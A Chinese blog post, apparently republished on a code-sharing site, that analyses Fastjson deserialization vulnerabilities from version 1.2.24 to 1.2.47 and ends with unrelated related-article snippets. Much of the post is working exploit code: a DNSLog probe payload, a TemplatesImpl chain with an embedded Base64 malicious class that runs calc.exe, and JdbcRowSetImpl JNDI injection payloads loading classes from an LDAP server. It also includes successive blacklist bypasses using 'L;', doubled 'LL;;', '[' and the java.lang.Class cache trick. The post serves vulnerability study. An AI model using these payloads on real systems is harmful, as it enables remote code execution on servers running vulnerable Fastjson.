Java安全-FastJson反序列化分析

FastJson介绍

Fastjson 是阿里巴巴推出的一款高性能 JSON 序列化/反序列化库,由于其便捷性被广泛应用于 Java 项目中

FastJson使用

package org.example;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class FastjsonDemo {public static void main(String[] args) {// 模拟正常的JSON数据String jsonInput = "{\"name\": \"Alice\", \"age\": 30}";JSONObject jsonObject = JSON.parseObject(jsonInput);System.out.println(jsonObject);}
}

原理

在早期版本中,FastJson 默认开启的 autoType 功能使得反序列化过程中能够根据 JSON 数据中的 @type 字段动态加载类

反序列化过程中,如果 JSON 数据中包含 @type 字段,Fastjson 会根据该字段动态加载指定的类并进行实例化。攻击者可以构造恶意的 JSON payload,通过指定一个在目标环境中存在且具有危险方法的类,从而在反序列化过程中触发代码执行

对比原生反序列化漏洞的差异

FastJson 的反序列化完全独立于 Java 原生序列化机制,它通过反射直接调用目标类的 Setter 方法 或直接对字段赋值,所以目标类不需要继承 Serializable 接口

影响版本

  • Fastjson 1.2.24 至 1.2.68

1.2.24

DNS探测

利用DNSLog平台进行漏洞验证

Payload: {\"@type\":\"java.net.Inet4Address\",\"val\":\"dnslog的域名\"}

查看平台如果存在记录证明漏洞存在

TemplatesImpl链

利用条件

  • FastJSON 1.2.22至1.2.24
  • 启用 Feature.SupportNonPublicField 特性

复现

Template 想必大家已经很熟悉了(如果不熟悉的话可以看看前面的 CC4 利用链分析,我懒癌晚期嘿嘿)通过 ClassLoader 加载恶意类,但它需要开发者开启 Feature.SupportNonPublicField 才能利用,因为 _bytecodes 等字段都是私有的

先构建一个恶意类,熟悉的配方熟悉的味道,随便找个类运行一下,让 target 目录下生成 class 文件

package org.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet {static {try {Runtime.getRuntime().exec("calc.exe");} catch (IOException e) {e.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}}

将恶意字节码用 Base64 编码

package org.example;import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;public class Base64Payload {public static void main(String[] args) throws Exception {byte[] bytes = Files.readAllBytes(Paths.get("F:\\Java开发目录\\FastjsonTest\\target\\classes\\org\\example\\Calc.class"));String base64 = Base64.getEncoder().encodeToString(bytes);System.out.println(base64);}
}

把生成的字节码替换到下面的 _bytecodes 里

package org.example;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;public class FastjsonDemo {public static void main(String[] args) {ParserConfig.getGlobalInstance().setAsmEnable(true);String payload = "{"+ "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\","+ "\"_bytecodes\":[\"yv66vgAAADQAMQoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABJMb3JnL2V4YW1wbGUvQ2FsYzsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAnAQAKU291cmNlRmlsZQEACUNhbGMuamF2YQwACQAKBwArDAAsAC0BAAhjYWxjLmV4ZQwALgAvAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAMAAKAQAQb3JnL2V4YW1wbGUvQ2FsYwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACgANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACAAEAEAAWAAEACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAWAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFwAYAAIAAAABABkAGgADAAgAGwAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAADQAJABAADAAOAA0ADwARABEADQAAAAwAAQANAAQAHAAdAAAAHgAAAAcAAkwHAB8EAAEAIAAAAAIAIQ==\"],"+ "\"_name\":\"test\","+ "\"_tfactory\":{},"+ "\"_outputProperties\":{}"+ "}";JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField);}
}

优缺点

首先来说优点,这条链可以在不出网的情况下利用,不需要远程加载恶意类
缺点也很明显,上面也提到,由于 _bytecodes 这些属性都是私有的,必须开发者在使用 FastJson 时手动开启 Feature.SupportNonPublicField 才能利用,条件过于苛刻,实战中很难打出来

JdbcRowSetImpl链

TemplatesImpl 这条链条件这么苛刻,那博主有没有简单且强势的利用链?有的,兄弟,有的!它就是我们要说的 JdbcRowSetImpl 链

与前者不同的是,它是通过 JNDI 注入的方式来加载恶意类,适用于目标出网的情况。由于是通过 JNDI 注入攻击,因此它受 JDK 版本限制

利用条件

  • JDK 6u132、7u122、8u113 之前:允许从远程 JNDI 服务加载任意类,可直接利用
  • JDK 6u132+/7u122+/8u113+:默认禁用远程类加载

复现

复现代码是这样子的,稍后会针对 JdbcRowSetImpl 进行分析

package org.example;import com.alibaba.fastjson.JSON;
import javax.naming.NamingException;public class Main {public static void main(String[] args) throws NamingException {String Payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +"\"DataSourceName\":\"ldap://127.0.0.1:8085/Redwghug\"," +"\"AutoCommit\":\"true\"}";JSON.parseObject(Payload);}
}

这里我直接用 Yakit 启动了一个 LDAP 服务,当然你也可以自己手动搭建,不过比较麻烦,所以推荐这种方式

看下运行效果

我们来分析一下 JdbcRowSetImpl 为什么可以作为一条利用链来打 FastJson

在 “对比原生反序列化漏洞的差异” 中提到 “通过反射直接调用目标类的 Setter 方法或直接对字段赋值”,因此我们跟进 JdbcRowSetImpl,看看其中的 DataSourceName 字段

在我们的 Payload 里,给 DataSourceName 传入了一个值,因此会触发对应的 Setter 方法

然后你可能会疑惑,代码里也没有调用到 AutoCommit 啊,那设置它干什么呀?

别慌,听我慢慢的给你催牛

由于我们 Payload 同样也给 AutoCommit 传入了一个值,所以我们直接找它对应的 Setter 方法。在这里,它需要我们传入一个布尔值。当 this.conn 为空时,会调用同类下的 connect 方法,接着跟进看看

可以看到,这里会调用我们传入的 DataSourceName 的值,带入到 lookup 进行远程加载,这就是 JNDI 注入的地方

也就是说,我们 Payload 中之所以要设置 DataSourceName,就是想利用它来传递恶意的远程加载类,而 AutoCommit 是为了触发这条链。这样一看,是不是很清晰?

1.2.25-1.2.41

修复方式

从 1.2.25 开始,autoType 默认为关闭,并且增加了 checkAutoType 黑名单校验

如果用 1.2.24 的 Payload 直接测试 FastJson 就会抛出 "autoType is not support" 的异常

如果要执行,需要手动开启 autoType

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

即使开启 autoType,直接运行还是会报错,下断点我们跟进分析

下断点调试,走到这里可以看到多了一个 checkAutoType 的检查,跟进看一下

跟进来后可以看到,这里有一个黑名单校验,相当于禁用了 com.sun 包下所有类的使用,检测到直接抛异常。恰好我们用的 JdbcRowSetImpl 就是 com.sun 下面的

绕过方式

其实根据上面的分析,可以判断这条链废了,但真的是这样吗?(要是真用不了,我就不写了)
实则不然!

上 Payload!

package org.example;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;import javax.naming.NamingException;public class Main {public static void main(String[] args) throws NamingException {ParserConfig.getGlobalInstance().setAutoTypeSupport(true);String Payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +"\"DataSourceName\":\"ldap://127.0.0.1:8085/jJcIzjPq\"," +"\"AutoCommit\":\"true\"}";JSON.parseObject(Payload);}
}

眼尖的大帅锅已经发现了,这次的 Payload 在包名做了一丢丢修改,原本的 com.sun.rowset.JdbcRowSetImpl 变成了 Lcom.sun.rowset.JdbcRowSetImpl;

为什么这样写会触发命令执行?不是已经给 com.sun 包过滤了吗?

我们再次进行调试,还是跟进到 ParserConfig 下面,这次走到黑名单校验的地方不会抛出异常了,因为传入的是 Lcom.sun.rowset.JdbcRowSetImpl;,黑名单里没有匹配到

接下来往下继续走,走到这里,跟进去看一下 TypeUtils.loadClass 的具体逻辑

在这里会匹配以字母 L 开头并且以 ; 结尾的一串数据,然后再把截取到的数据 "掐头去尾" 赋值给 newClassName,也就相当于把 Lcom.sun.rowset.JdbcRowSetImpl; 又还原成了 com.sun.rowset.JdbcRowSetImpl

通过调试可以看到,其实这里是个逻辑错误,实际上这次代码是走到了第一个 for 循环里面,与之前触发黑名单校验不同,这里进入 TypeUtils.loadClass 后返回的依旧是 Lcom.sun.rowset.JdbcRowSetImpl; 这就导致黑名单匹配不到数据,绕过了安全检查

for (int i = 0; i < acceptList.length; ++i) {String accept = acceptList[i];if (className.startsWith(accept)) {return TypeUtils.loadClass(typeName, defaultClassLoader);}}

1.2.42

修复方式

checkAutoType 过滤了 L ;,并且把黑名单检测方式改成了 Hash,还用原来的配方下断点调试

到这可以看到它把 Lcom.sun.rowset.JdbcRowSetImpl; 还原成了 com.sun.rowset.JdbcRowSetImpl 然后进行黑名单检查,所以这里 1.2.41 的行不通了

绕过方式

可以用双写绕过检测,Payload 如下

package org.example;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;import javax.naming.NamingException;public class Main {public static void main(String[] args) throws NamingException {ParserConfig.getGlobalInstance().setAutoTypeSupport(true);String Payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +"\"DataSourceName\":\"ldap://127.0.0.1:8085/jJcIzjPq\"," +"\"AutoCommit\":\"true\"}";JSON.parseObject(Payload);}
}

1.2.43

绕过方式

前面使用 L; 绕过的方法彻底行不通了,但在 TypeUtils.loadClass 中不仅有 L;,它还截取了 [,因此我们可以使用 [ 绕过黑名单检查,黑名单由于匹配不到 [com.sun.rowset.JdbcRowSetImpl 就直接给放行了,一直走到 TypeUtils.loadClass 中,将 [com.sun.rowset.JdbcRowSetImpl 又还原成了 com.sun.rowset.JdbcRowSetImpl

Payload如下

package org.example;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;import javax.naming.NamingException;public class Main {public static void main(String[] args) throws NamingException {ParserConfig.getGlobalInstance().setAutoTypeSupport(true);String Payload = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:8085/jJcIzjPq\", \"autoCommit\":true}";JSON.parseObject(Payload);}
}

1.2.25-1.2.47 通杀

Fastjson 1.2.25-1.2.47 的通杀漏洞本质是缓存机制的缺陷,通过分阶段注入类名,利用合法类绕过安全限制,最终触发 JNDI 注入

前提条件

  • 1.2.25-1.2.32:需关闭autoTypeSupport(默认关闭),否则黑名单检测会拦截JdbcRowSetImpl
  • 1.2.33-1.2.47:即使开启autoTypeSupport也能绕过

绕过方式

package org.example;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;import javax.naming.NamingException;public class Main {public static void main(String[] args) throws NamingException {// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);String Payload = "{\n" +"    \"a\":{\n" +"        \"@type\":\"java.lang.Class\",\n" +"        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +"    },\n" +"    \"b\":{\n" +"        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +"        \"dataSourceName\":\"ldap://127.0.0.1:8085/jJcIzjPq\",\n" +"        \"autoCommit\":true\n" +"    }\n" +"}";JSON.parseObject(Payload);}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/75182.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

查看npm安装了哪些全局依赖

查看npm安装了哪些全局依赖 在macOS上&#xff0c;如果你想要查看通过npm全局安装的依赖包&#xff0c;你可以使用以下几种方法&#xff1a; 方法1&#xff1a;使用命令行 打开你的终端&#xff08;Terminal&#xff09;&#xff0c;然后输入以下命令&#xff1a; npm list -…

告别代码Bug,GDB调试工具详解

在软件开发的漫漫长路上&#xff0c;Bug 就像隐藏在黑暗中的 “小怪兽”&#xff0c;时不时跳出来给开发者们制造麻烦。曾经&#xff0c;欧洲航天局&#xff08;ESA&#xff09;首次发射阿丽亚娜 5 号火箭&#xff0c;这本是太空探索史上的重要时刻&#xff0c;却因一行代码导致…

LangChain4j(2):整合SpringBoot

1 新建Springboot项目 1.1 引入依赖 <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0…

移动端六大语言速记:第2部分 - 控制结构

移动端六大语言速记&#xff1a;第2部分 - 控制结构 本文继续对比Java、Kotlin、Flutter(Dart)、Python、ArkTS和Swift这六种移动端开发语言的控制结构&#xff0c;帮助开发者快速掌握各语言的语法差异。 2. 控制结构 2.1 条件语句 各语言条件语句的语法对比&#xff1a; …

Linux-线程概念与线程控制的常用操作

一.Linux线程概念 1-1.线程是什么 在Linux中&#xff0c;线程是基于Linux原有的进程实现的。本质是轻量级进程(LWP)。在⼀个程序⾥的⼀个执⾏路线就叫做线程&#xff08;thread&#xff09;。更准确的定义是&#xff1a;线程是“⼀个进程内部的控制序列”。 我们之前所学习的进…

dfs记忆化搜索刷题 + 总结

文章目录 记忆化搜索 vs 动态规划斐波那契数题解代码 不同路径题解代码 最长递增子序列题解代码 猜数字大小II题解代码 矩阵中的最长递增路径题解代码 总结 记忆化搜索 vs 动态规划 1. 记忆化搜索&#xff1a;有完全相同的问题/数据保存起来&#xff0c;带有备忘录的递归 2.记忆…

【HTML】验证与调试工具

个人主页&#xff1a;Guiat 归属专栏&#xff1a;HTML CSS JavaScript 文章目录 1. HTML 验证工具概述1.1 验证的重要性1.2 常见 HTML 错误类型 2. W3C 验证服务2.1 W3C Markup Validation Service2.2 使用 W3C 验证器2.3 验证结果解读 3. 浏览器开发者工具3.1 Chrome DevTools…

认识rand, srand, time函数,生成随机数

要完成猜数字游戏&#xff0c;首先要生成随机数&#xff0c;那么该怎么生成随机数&#xff1f;、 1.rand函数 rand函数是库函数&#xff0c;使用的时候要使用头文件stdlib.h c语言中&#xff0c;提供了rand函数来生成随机数&#xff0c;来看一下函数使用&#xff1a; 但是r…

BKA-CNN-GRU、CNN-GRU、GRU、CNN四模型多变量时序预测(Matlab)

BKA-CNN-GRU、CNN-GRU、GRU、CNN四模型多变量时序预测&#xff08;Matlab&#xff09; 目录 BKA-CNN-GRU、CNN-GRU、GRU、CNN四模型多变量时序预测&#xff08;Matlab&#xff09;预测效果基本介绍程序设计参考资料 预测效果 基本介绍 BKA-CNN-GRU、CNN-GRU、GRU、CNN四模型多…

Go语言从零构建SQL数据库引擎(2)

SQL标准与数据库系统实现差异 在上一节中&#xff0c;我们了解了关系型数据库的基础概念。现在&#xff0c;让我们深入探讨SQL语言标准以及不同数据库系统之间的实现差异。 SQL语言的诞生与演进 想象你经营的咖啡店生意蒸蒸日上&#xff0c;需要一个更强大的系统来管理数据。…

智能导诊系统的技术体系组成

智能导诊系统的技术体系由基础支撑技术、核心交互技术、应用场景技术及安全保障技术构成&#xff0c;具体可归纳为以下六个维度&#xff1a; 一、基础支撑技术 1、AI大模型与深度学习 医疗大模型&#xff1a;如腾讯医疗AI、DeepSeek等&#xff0c;通过海量医学文献和病例训…

QML输入控件: TextField(文本框)的样式定制

目录 引言示例简介示例代码与关键点示例1&#xff1a;基础样式定制示例2&#xff1a;添加图标示例3&#xff1a;交互式元素&#xff08;清除按钮&#xff09; 实现要点总结完整工程下载 引言 在Qt Quick应用程序开发中&#xff0c;文本输入是最常见的用户交互方式之一。TextFi…

leetcode hot100 多维动态规划

1️⃣2️⃣ 多维动态规划&#xff08;区间 DP、状态机 DP&#xff09; 62. 不同路径 一个机器人位于一个 m x n 网格的左上角 &#xff08;起始点在下图中标记为 “Start” &#xff09;。机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角&#xff08;在下图…

3.27学习总结 爬虫+二维数组+Object类常用方法

高精度&#xff1a; 一个很大的整数&#xff0c;以字符串的形式进行接收&#xff0c;并将每一位数存储在数组内&#xff0c;例如100&#xff0c;即存储为[1][0][0]。 p2437蜜蜂路线 每一个的路线数前两个数的路线数相加。 #include <stdio.h> int a[1005][1005]; int …

车载以太网网络测试-26【SOME/IP-通信方式-2】

目录 1 摘要2 Method &#xff08;FF/RR&#xff09;、Event、Filed介绍2.1. SOME/IP Method 接口2.1.1 **Fire & Forget (FF)** - 单向调用2.1.2 **Request/Response (RR)** - 请求/响应模式2.1.3 **车载ECU通信实现示例**:2.1.4 **通信序列示例**2.1.5 实现注意事项 2.2 …

把doi直接插入word中,然后直接生成参考文献

这段代码通过提取、查询、替换DOI&#xff0c;生成参考文献列表来处理Word文档&#xff0c;可按功能模块划分&#xff1a; 导入模块 import re from docx import Document from docx.oxml.ns import qn from habanero import Crossref导入正则表达式模块re用于文本模式匹配&a…

[C++] : C++11 右值引用的理解

&#xff08;一&#xff09;什么是左值和右值&#xff1f; 传统的C语法中就有引用的语法&#xff0c;而C11中新增了的右值引用语法特性&#xff0c;所以从现在开始我们 之前学习的引用就叫做左值引用。无论左值引用还是右值引用&#xff0c;都是给对象取别名。 1.左值 左值是一…

windows服务器切换到linux服务器踩坑点

单节点环境依赖性 单节点问题&#xff0c;影响业务可用性&#xff0c;windows影响后续自动化&#xff0c;健壮性的提升&#xff0c;需要进行linux化 每个服务至少是双节点&#xff0c;防止单点故障&#xff0c;提升系统的可用性&#xff0c;健壮性。linux化后可以进行docker化…

美颜SDK兼容性挑战:如何让美颜滤镜API适配iOS与安卓?

如何让美颜滤镜API同时适配iOS与Android&#xff0c;并确保性能流畅、效果一致&#xff0c;是开发者面临的一大挑战。今天&#xff0c;我将与大家一同深度剖析美颜SDK的跨平台兼容性问题&#xff0c;并分享优化适配方案。 一、美颜SDK兼容性面临的挑战 1.1不同平台的图像处理框…

Vue3 表单

Vue3 表单 随着前端技术的发展,Vue.js 作为一款流行的前端框架,不断更新迭代,以适应更高效、更便捷的开发需求。Vue3 作为 Vue.js 的第三个主要版本,引入了许多新特性和改进,其中包括对表单处理机制的优化。本文将深入探讨 Vue3 表单的使用方法、技巧以及注意事项。 1. …